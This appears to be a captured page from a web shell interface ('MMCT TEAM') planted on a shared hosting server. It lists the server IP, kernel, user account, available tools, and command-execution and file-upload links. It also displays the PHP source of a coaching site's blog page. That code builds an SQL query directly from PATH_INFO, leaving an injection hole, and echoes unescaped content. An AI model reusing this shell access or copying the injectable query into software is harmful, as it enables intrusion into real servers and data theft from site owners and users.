MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.189.194.44
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/sssktrust.com/../comfortaircon.co/../leetcoaching.co.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/sssktrust.com/../comfortaircon.co/../leetcoaching.co.in/blog-details.php
<?php
include_once('admin/config.php');
$slug_name = $_GET['slug_link'];
if(isset($_SERVER['PATH_INFO'])){
$slug_name=$_SERVER['PATH_INFO'];
$querydt="SELECT * FROM `tbl_blog` WHERE `slug_link`='$slug_name'";
$rundt = mysqli_query($db,$querydt) or die("Query Not run");
$datadt = mysqli_fetch_assoc($rundt);

}
 $dateString=$datadt['date'];
 $timestamp = strtotime($dateString);
 $formattedDate = date("d-M-Y", $timestamp);
 $by=$datadt['submit_by'];
?>

<!doctype html>
<html class="no-js" lang="zxx">

<head>
    <meta charset="utf-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <?php include("top-link.php") ?>
    
    <title><?php echo $datadt["title"] ?></title>
    <meta name="description" content="<?php echo $datadt["title"] ?>">
    <style>
        .it-evn-sidebar-list li:hover{
            background-color:#B90708;
            color:white;
            padding:10px;
            border-radius:5px;
        }
        .it-evn-sidebar-list li{
            padding-left:10px;
            
        }
        .blog-image img{
           border-radius:5px;
           box-shadow:1px 1px 3px 3px grey;
           margin-bottom:30px;
        }
    </style>
</head>
<?php include 'header.php'?>
<body>
 <div class="it-breadcrumb-area it-breadcrumb-bg" data-background="<?php echo $wspath;?>assets/img/breadcrumb/breadcrumb.jpg">
            <div class="container">
                <div class="row ">
                    <div class="col-md-12">
                        <div class="it-breadcrumb-content z-index-3 text-center">
                            <div class="it-breadcrumb-title-box">
                                <h1 class="it-breadcrumb-title"><?php echo $datadt["title"] ?></h1>
                            </div>
                            <div class="it-breadcrumb-list-wrap">
                                <div class="it-breadcrumb-list">
                                    <span><a href="<?php echo $wspath;?>">home</a></span>
                                    <span class="dvdr">//</span>
                                    <span><?php echo $datadt["title"] ?></span>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
<div class="container mt-3">
    <div class="row">
         <div class="col-xl-3 col-lg-4">
             <div class="it-evn-sidebar-box it-course-sidebar-box">
                            <!--<div class="it-evn-sidebar-thumb mb-30">-->
                            <!--    <img src="assets/img/event/details-sm.jpg" alt>-->
                            <!--</div>-->
                            <!--<div class="it-course-sidebar-rate-box pb-20">-->
                            <!--    <div class="it-course-sidebar-rate d-flex justify-content-between align-items-center">-->
                            <!--        <span>course fee</span>-->
                            <!--        <span class="rate"><?php echo $datadt['mrp'];?></span>-->
                            <!--    </div>-->

                            <!--</div>-->
                                <span class="it-btn w-100 text-center mb-20">
                                   Recent Blogs 
                                    <svg width="17" height="14" viewBox="0 0 17 14" fill="none" xmlns="http://www.w3.org/2000/svg">
                                        <path d="M11 1.24023L16 7.24023L11 13.2402" stroke="currentcolor" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round" />
                                        <path d="M1 7.24023H16" stroke="currentcolor" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round" />
                                    </svg>
                                </span>
                            <!--</a>-->
                            <div class="it-evn-sidebar-list mb-20">
                                <!--<h3>Other Blogs</h3>-->
                                <ul>
                                    <?php
                                        $sqltour = "SELECT * FROM tbl_blog LIMIT 5";
                                        $runtour = mysqli_query($db,$sqltour) or die("Query Not run");
                                        while($datatour = mysqli_fetch_assoc($runtour)){
                                    ?>
                                    <li><span><a href="<?php echo $wspath?>blog<?php echo $datatour['slug_link'];?>.html"><?php echo $datatour['title'];?></a></span></li>
                                    <?php } ?>
                                </ul>
                            </div>
                            <div class="it-evn-sidebar-list mt-20">
                                <iframe width="100%" height="auto" src="https://www.youtube.com/embed/wVEt0zBQ_Oc?si=SckiOBee_9anKK23" title="YouTube Shorts video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
                                </iframe>
                                <iframe width="100%" height="auto" src="https://www.youtube.com/embed/YlaK5Tjgbg4?si=5s_a4zmXYdEQrYRD" title="YouTube Shorts video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
                                </iframe>
                                <iframe width="100%" height="auto" src="https://www.youtube.com/embed/3zoo3KLKjcU?si=k1JWLqmuUubQOCoN" title="YouTube Shorts video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
                                </iframe>
                                <iframe width="100%" height="auto" src="https://www.youtube.com/embed/ghkILcvYmJQ?si=SsP3mYUOEjJkcFUI" title="YouTube Shorts video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
                                </iframe>
                            </div>
                        </div>
             </div>
        <div class="col-xl-9 col-lg-8">
            <div class="text-center mt-3">
                <h2>
                    <?php echo $datadt["title"] ?>
                </h2>
            </div>
            <div class="mt-3 mb-2">
                <div class="blog-image">
                    <img src="<?php echo $wspath ?>admin/images/property-image/<?php echo $datadt["image"] ?>"  width="100%">
                </div>
                        <div class=" mb-3">
                             <!--<p>-->
                                 <?php echo $datadt["short_description"]?>
                                 <?php echo $datadt["description"]?>
                             <!--</p>-->
                        </div>
            </div>
        </div>
    </div>
</div>


<?php include("footer.php");?>

</body>

</html>

MMCT - 2023